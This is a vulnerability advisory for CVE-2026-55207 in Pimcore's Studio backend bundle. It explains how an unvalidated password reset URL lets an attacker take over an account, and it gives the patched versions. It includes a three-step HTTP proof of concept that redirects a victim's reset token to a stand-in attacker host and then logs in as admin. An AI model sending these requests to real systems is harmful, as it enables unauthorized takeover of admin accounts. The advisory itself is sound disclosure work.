high · 8.8CVE-2026-55207Aug 28, 2026

CVE-2026-55207: Pimcore Studio Backend Bundle Account Takeover via Password Reset URL Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An unauthenticated attacker can hijack any Pimcore admin account by injecting their own server URL into the password reset request, causing Pimcore to mail the victim a real recovery token that lands…

Packagepimcore/studio-backend-bundle
Ecosystemcomposer
Affected< 2025.4.6
Fixed in2025.4.6
CVE-2026-55207: Pimcore Studio Backend Bundle Account Takeover via Password Reset URL Injection

The problem

The POST /pimcore-studio/api/user/reset-password endpoint is public and accepts a resetPasswordUrl field with no validation. The server generates a real cryptographic token, appends it to whatever URL the caller supplies, and emails the resulting link to the victim.

When the victim clicks the link, the token goes to the attacker's server. The attacker then calls POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token-based login explicitly sets twoFactorAuthentication required to false, so TOTP and Google Authenticator do not protect against this.

Proof of concept

A working proof-of-concept for CVE-2026-55207 in pimcore/studio-backend-bundle, with the exact payload below.

http
# Step 1: Trigger reset, redirect token to attacker server (no auth required)
POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER:9999/steal"}

# Pimcore emails the victim: https://ATTACKER:9999/steal?token=def50200cdbd3c...
# Attacker captures the token from their server log.

# Step 2: Authenticate as victim using stolen token
POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f..."}

# Response sets a full admin session:
# Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

# Step 3: Confirm admin access
GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

# HTTP 200 - returns full user list including admin account

The root cause is that ResetPassword.php accepted resetPasswordUrl as a required schema field with no allowlist or domain check. UserLoginService.php then built the email link as $resetPassword->getResetPasswordUrl() . '?token=' . $token, so the attacker fully controlled the token destination.

The patch (commit ea9d329) removes resetPasswordUrl from the request schema entirely and constructs the reset URL server-side from the configured system domain, making injection impossible. A second structural issue is that AdminTokenAuthenticator.php disabled 2FA on every token login, meaning any token capture equaled a full account takeover regardless of configured auth factors.

CWE-640 (Weak Password Recovery Mechanism) covers both flaws: the recovery channel trusted client-supplied redirect data, and the recovery token granted elevated access that bypassed additional authentication controls.

The fix

Upgrade pimcore/studio-backend-bundle to **2025.4.6** (2025.x branch) or **2026.1.6** (2026.x branch). The fix removes resetPasswordUrl from the public API and generates the reset URL server-side. No workaround exists for unpatched versions; the public endpoint cannot be blocked without breaking the reset flow entirely.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research